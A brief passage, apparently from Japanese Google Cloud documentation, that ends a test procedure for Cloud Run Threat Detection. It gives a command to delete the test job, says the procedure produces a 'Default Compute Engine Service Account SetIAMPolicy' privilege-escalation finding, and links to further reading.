gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
このテスト手順では、Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy の検出結果を作成します。
次のステップ
- Cloud Run Threat Detection の詳細を確認する。
- Cloud Run の脅威検出を使用する方法を学習する。